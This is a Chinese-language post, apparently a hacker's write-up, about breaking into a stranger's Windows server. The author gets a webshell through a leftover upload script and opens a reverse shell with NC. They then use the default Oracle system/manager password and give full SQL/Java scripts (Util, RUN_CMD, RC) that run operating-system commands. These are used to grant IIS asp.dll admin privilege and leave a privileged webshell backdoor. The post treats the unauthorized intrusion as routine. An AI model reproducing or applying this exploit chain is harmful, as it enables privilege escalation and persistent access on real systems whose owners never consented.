利用ORACLE系統(tǒng)賬戶默認(rèn)口令提升權(quán)限
2024-08-29 13:32:52
供稿:網(wǎng)友
近日,偶到一主機上逛了一圈。主機的配置還算是安全,偏偏一個比較隱藏的目錄下殘留了upfile.asp,結(jié)果輕輕松松的得到了webshell。 接著在主機上逛了逛,拿出superscan從外面掃了下,只開放了80端口。從user/程序目錄里,發(fā)現(xiàn)有一快捷方式:firecontrol,好象是某款硬件防火墻的控制臺。WEBSHELL下檢測了下開放的服務(wù),發(fā)現(xiàn)一般的可提權(quán)的方法都不可行,無SERV-U等等,主機的補丁也是打到了最新。試了下傳了個NC上去,反連接得到一SHELL,這下比在老兵的管理器里舒服多了。 在C盤下看到一個目錄Oracle,看了下C:/oracle/ora81/network/ADMIN/tnsnames.ora文件,確定了主機的服務(wù)名“xxx”,看了下版本“oracle 8i”,用數(shù)據(jù)庫連接器 PRovider=MSDAORA.1;PassWord=manager;User ID=system;DataSource=xxxx試了下默認(rèn)的system賬戶,密碼manager,結(jié)果真的就連接到了本地的oracle服務(wù)。這下好了,oracle的system賬戶就像是mssql下的sa,我們來通過他來提升權(quán)限,馬上編輯了幾個腳本。 1.sql create or replace and compilejava source named "Util"asimport java.io.*;import java.lang.*; public class Util extends Object{public static int RunThis(String args){Runtime rt = Runtime.getRuntime();int rc = -1; try{Process p = rt.exec(args);int bufSize = 4096;BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);int len;byte buffer[] = new byte[bufSize];// Echo back what the program spit outwhile ((len = bis.read(buffer, 0, bufSize)) != -1)System.out.write(buffer, 0, len); rc = p.waitFor();}catch (Exception e){e.printStackTrace();rc = -1;}finally{return rc;}}}2.sql create or replacefunction RUN_CMD(p_cmd in varchar2) return numberaslanguage javaname 'Util.RunThis(java.lang.String) return integer';3.sql create or replace procedure RC(p_cmd in varchar2)asx number;beginx := run_cmd(p_cmd);end;保存在c:/下,然后用反連接得到的shell運行 sqlplus system/manager@xxx然后再來執(zhí)行腳本 SQL>@C:/1.sqlSQL>@C:/2.sqlSQL>@C:/3.sql看到JAVA已創(chuàng)建、函數(shù)已創(chuàng)建、過程已創(chuàng)建,接著我們繼續(xù) SQL> variable x number;SQL> set serveroutput onSQL> exec dbms_java.set_output(100000);SQL>grant javasyspriv to system看到授權(quán)成功。接著我們就可以來執(zhí)行系統(tǒng)命令了。我想先把ASP.dll加入特權(quán)一組 SQL>exec :x := RUN_CMD('cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "c:/winnt/system32/inetsrv/asp.dll" ');看到過程已經(jīng)成功完成,這個時候我們重新登陸我們的webshell,他已經(jīng)具有admin權(quán)限了。接著,再用NC返回一個shell,已經(jīng)是管理權(quán)限的,我們可以做我們想干的事了。因為這個主機有防火墻過濾除80以外的端口,所以不好做圖形的后門,只有留下一有權(quán)限的webshell。到此已經(jīng)提權(quán)成功。